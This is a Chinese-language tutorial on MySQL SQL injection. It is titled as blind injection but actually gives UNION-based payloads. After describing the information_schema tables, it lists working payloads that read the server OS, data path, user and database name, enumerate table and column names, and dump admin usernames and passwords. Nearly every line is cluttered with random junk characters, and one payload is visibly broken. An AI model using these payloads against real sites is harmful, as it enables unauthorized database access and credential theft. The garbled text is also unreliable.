本文介绍MYSQL盲注的一些语句和方法
' E( u i% k. }' I9 [$ B# [9 R J3 T$ U
学习盲注前先了解下 IFORMATION_SCHEMA 库
2 e# J( K# o' l `! J
! \1 ]/ |4 k% ]Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库,其中记录了Mysql中所有
% e" x" u& Z. x0 c% E存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。+ ?# P0 {% G* T0 t, p: N
1.得到所有数据库名:
! K9 p( z$ C& [( T|SCHEMATA ->存储数据库名的表# _, ]. I5 q( Q o, t) Q4 E
|---字段:SCHEMA_NAME ->数据库名称, X- W9 }* E# c8 c5 Z V. m
+ a7 q7 Z3 ]& N# A0 y|TABLES ->存储表名
( G4 W3 r1 ~- r, O|---字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名
. j* }& ^: p' w8 a|---字段:TABLE_NAME ->存储表的表名3 _; ?, I# w8 G5 o8 I6 H+ k# W
/ J+ u- W* g( x( U2 O7 V: M|COLUMNS ->存储的字段名表 i! M: o6 b& h- M/ J( d% P
|---字段:TABLE_SCHEMA ->该字段所属数据库名; j, B6 i. n" t
|---字段:TABLE_NAME ->存储所属表的名称
/ f4 C" E! V% v+ V4 Q) k6 f
5 i$ m: n) O" f f2 {) B|---字段:COLUMN_NAME ->该字段的名称4 @+ Q9 c; m# t" o1 q* c7 b
0 Z4 S3 s1 W- h
9 c( B' L3 k! w; c! C) \
1 \$ }' l+ _) Y4 _+ h###########################################################################2 W2 I8 q( f6 C9 z9 [5 S
3 s d) q" b" i
0x001 获取系统信息:1 A8 }' d1 ?; @0 d0 I) O& r
' f- M: F1 R6 Q6 m; ?/ ~9 ]
union select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*& O3 p# ?) [ S7 i ^8 E0 F
1 i9 `! @, D0 |1 Y1 x: _/*
4 @3 ^( j1 i7 n- {% F g: @1 @* U- M: x
@@global.version_compile_os 获取系统版本
( m1 v. m8 o9 ^2 L
: T' r; I8 K J# { v/ s, t@@datadir 数据库路径) q% }9 w( L2 k! E
database() 当前数据库名称! i8 q, n# m j; p7 V) N! ^$ e
0x3c62723e 换行HEX值
4 [2 X( N1 c7 V; [2 J, |
5 l) Q/ z/ T& b7 O0 r5 D*/+ K5 M5 I& m9 a% ~/ g
1 m: Z! ]. F5 i% D( L
# j. r- H! {5 _7 f
; z; f, i" b: }$ `6 V######################################################################( ?1 l! r r ~" }" W
" Q0 {" U D5 [0 X. y0x002 获取表名% q6 e; n3 Q0 H7 N4 U
: W( S) a& a# l1 A
union select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*( o0 h' ]" B5 {0 x) l
+ w3 a6 N9 y( S& V0 U* x
0 r) ^& F3 t! c! a1 T: b+ n. t4 c: O* \: ^: `% I/ M. J4 { F
/*; R( A g4 S1 Y3 K9 Z
6 O( d; B! E0 L9 _6 _( Z0x67617264656e 为当前数据库名
# ~1 }% y; P/ q. L
+ v9 u5 o ~- A1 }$ X9 e% a' bgroup_concat(table_name) 使用group_concat函数 一步获得该库所有表名
0 e$ J* r/ J- p& {6 ^, u5 d- F/ v1 C7 G6 b I% Y& [! o( |# |+ M
*/2 W& A+ z9 L' W$ N2 y' {- Y, b
% G1 A4 [: M: L& G( R% N
######################################################################
6 g3 h/ J/ b" P( h2 ]3 b; J1 r# C0 q8 \/ L
- a( A5 D3 K! E) {# {0 s
9 q/ K, l2 V) m0x003 获取字段/ P* \5 P4 x" Z. I0 E! ~. y @+ h
. r- h9 ?: r2 \5 v" _! Z, |
union select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*
) d6 b$ s% l+ G2 S
$ ^6 F e. R# v" p. P" W0 n/*
0 H/ @0 ^7 h/ M& ~: g' G6 Y- L& k/ B- c
group_concat(column_name) 同样是 一口气 获得该表(0x61646d696e)所有字段
- K* |. I7 ?/ ~& w3 ^2 s6 C) B& W
, O# E, D0 Z4 R$ A& c0x61646d696e ->选择一个表. f8 K2 R7 u$ Z- B: z+ u
- K, H. x; F, [' S0 }
0x67617264656e ->数据库名+ j% G6 b5 Z3 m8 R$ L
9 H; u1 t5 V/ s; c
*/1 ]# S/ ^1 A* F
7 L2 C6 F! f9 P3 p- \) Q#####################################################################7 h; p, R. a" y0 j( Z' ?
9 G/ O* R/ X; J / ~2 b$ Q2 T5 i2 z# `1 l
, s, R& g- [# r4 x0x004 获取数据7 e+ y, {7 X$ S4 s0 P; k
% S$ Y1 c7 V' Q1 K7 b1 p, vunion select 1,2,3
+ r! t* m. q" q: D0 o* @! I,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
% f! ~9 L5 x& ^ R4 `4 o" s! Q' X; J7 r
union select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin
- _4 ]) j- Z+ {# Y+ Q. @! x6 P1 X5 q7 E! g4 n6 k. C
/ n, t' Q) a5 V I! C/ A2 K3 r) e7 m4 ?
/*
6 U% \- a6 o+ ~
o' d' }8 J; [; b0x3c62723e 换行符号HEX编码
8 `1 ~$ J8 q: D; M9 `$ T) ~0 g5 P
, Y A* e# v' Q& S# c3 x, Z0 n: Jgroup_concat 同时获得该字段所有数据 }1 Y' M9 J& r8 S% j
+ @! ~* D" o. f0 `*/9 \8 F0 h. U0 E
9 U0 w$ g4 @( g4 ~% m6 E F" l
|